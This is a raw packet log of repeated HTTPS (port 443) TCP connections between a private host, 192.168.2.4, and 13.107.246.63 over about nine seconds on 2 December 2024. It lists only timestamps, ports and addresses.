Dec 2, 2024 05:00:26.333813906 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.333831072 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.333894968 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.334003925 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.334013939 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.337356091 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.337582111 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.337634087 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.337656975 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.337665081 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.337690115 CET	50063	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.337698936 CET	443	50063	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.339581966 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.339601994 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.339667082 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.339786053 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.339797974 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.755094051 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.758213997 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.758263111 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.758276939 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.758326054 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.758948088 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.758963108 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.758972883 CET	50064	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.758977890 CET	443	50064	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.762012005 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.762032986 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:26.762095928 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.762244940 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:26.762257099 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.080079079 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.080553055 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.080569029 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.080991030 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.080996037 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.534109116 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.537592888 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.537671089 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.537707090 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.537720919 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.537730932 CET	50065	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.537734985 CET	443	50065	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.540708065 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.540750980 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:27.540842056 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.541024923 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:27.541038990 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.073734999 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.074160099 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.074177980 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.074578047 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.074583054 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.113245964 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.113696098 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.113707066 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.114104986 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.114109039 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.183172941 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.183593035 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.183609009 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.184022903 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.184027910 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.518610954 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.521825075 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.521898985 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.521934032 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.521934032 CET	50066	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.521950960 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.521962881 CET	443	50066	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.524477959 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.524506092 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.524574995 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.524861097 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.524869919 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.551440954 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.551892042 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.551908016 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.552375078 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.552380085 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.557046890 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.560242891 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.560292959 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.560934067 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.560942888 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.560967922 CET	50067	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.560971975 CET	443	50067	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.566903114 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.566931963 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.567003012 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.567267895 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.567280054 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.636208057 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.639802933 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.639853001 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.639890909 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.639909029 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.639919043 CET	50068	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.639924049 CET	443	50068	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.641881943 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.641902924 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.641972065 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.642083883 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.642092943 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.995733023 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.999012947 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.999073982 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.999114037 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.999125957 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:28.999135971 CET	50069	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:28.999141932 CET	443	50069	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.001898050 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.001916885 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.001998901 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.002177000 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.002188921 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.322691917 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.323187113 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.323199987 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.323662043 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.323664904 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.768383980 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.771537066 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.771588087 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.771631002 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.771650076 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.771658897 CET	50070	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.771666050 CET	443	50070	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.774410009 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.774431944 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:29.774507046 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.774662971 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:29.774674892 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.304337025 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.304761887 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.304779053 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.305186987 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.305191994 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.396501064 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.396934986 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.396950006 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.397345066 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.397350073 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.419122934 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.419419050 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.419428110 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.419763088 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.419768095 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.748285055 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.751375914 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.751439095 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.751463890 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.751476049 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.751485109 CET	50071	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.751490116 CET	443	50071	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.753853083 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.753891945 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.753951073 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.754081964 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.754101038 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.781512022 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.781858921 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.781868935 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.782263994 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.782268047 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.840514898 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.843924999 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.843966007 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.843982935 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.844024897 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.844079971 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.844093084 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.844101906 CET	50072	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.844105959 CET	443	50072	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.846412897 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.846440077 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.846499920 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.846637964 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.846652031 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.862735033 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.866206884 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.866266966 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.867793083 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.867803097 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.867811918 CET	50073	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.867815971 CET	443	50073	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.874640942 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.874672890 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:30.874756098 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.875775099 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:30.875792027 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.226327896 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.229477882 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.229527950 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.229657888 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.229657888 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.232204914 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.232204914 CET	50074	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.232208014 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.232215881 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.232222080 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.232223034 CET	443	50074	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.232280016 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.232528925 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.232541084 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.618777990 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.619556904 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.619571924 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:31.619941950 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:31.619951010 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.071937084 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.072002888 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.072052956 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.072212934 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.072222948 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.072232008 CET	50075	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.072235107 CET	443	50075	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.074963093 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.075001955 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.075072050 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.075203896 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.075218916 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.533150911 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.533607006 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.533626080 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.534080029 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.534085035 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.632110119 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.632509947 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.632531881 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.632952929 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.632958889 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.977642059 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.977842093 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.977895975 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.977900028 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.977948904 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.977998018 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.978020906 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.978032112 CET	50076	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.978037119 CET	443	50076	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.980402946 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.980428934 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:32.980503082 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.980681896 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:32.980695009 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.076417923 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.076699972 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.077059031 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.077069998 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.077471972 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.077476978 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.079622984 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.079684019 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.079722881 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.079732895 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.079741955 CET	50077	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.079746008 CET	443	50077	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.081897020 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.081933022 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.082012892 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.082155943 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.082170010 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.293451071 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.293977022 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.293996096 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.294467926 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.294472933 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.531131983 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.534276009 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.534456968 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.534564018 CET	50079	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.534570932 CET	443	50079	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.537169933 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.537190914 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.537256956 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.537398100 CET	50083	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.537410021 CET	443	50083	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.747647047 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.747766972 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.747817039 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.747952938 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.747967958 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.747977018 CET	50078	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.747982025 CET	443	50078	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.750567913 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.750597954 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.750655890 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.750777006 CET	50084	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.750790119 CET	443	50084	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.862839937 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.863600016 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.863625050 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:33.864016056 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:33.864020109 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.307919025 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.311105013 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.311151028 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.311212063 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.311335087 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.311440945 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.311453104 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.311466932 CET	50080	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.311471939 CET	443	50080	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.313791990 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.313817978 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.313883066 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.314023018 CET	50085	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.314034939 CET	443	50085	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.771981001 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.772890091 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.772910118 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.773356915 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.773361921 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.864231110 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.864991903 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.865012884 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:34.865458012 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:34.865464926 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.217102051 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.220227957 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.220367908 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.220500946 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.220510006 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.220556021 CET	50081	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.220561028 CET	443	50081	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.223332882 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.223361969 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.223440886 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.223567009 CET	50086	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.223579884 CET	443	50086	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.309442043 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.309505939 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.309593916 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.310075998 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.310095072 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.310105085 CET	50082	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.310110092 CET	443	50082	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:35.312598944 CET	50087	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:35.312618017 CET	443	50087	13.107.246.63	192.168.2.4
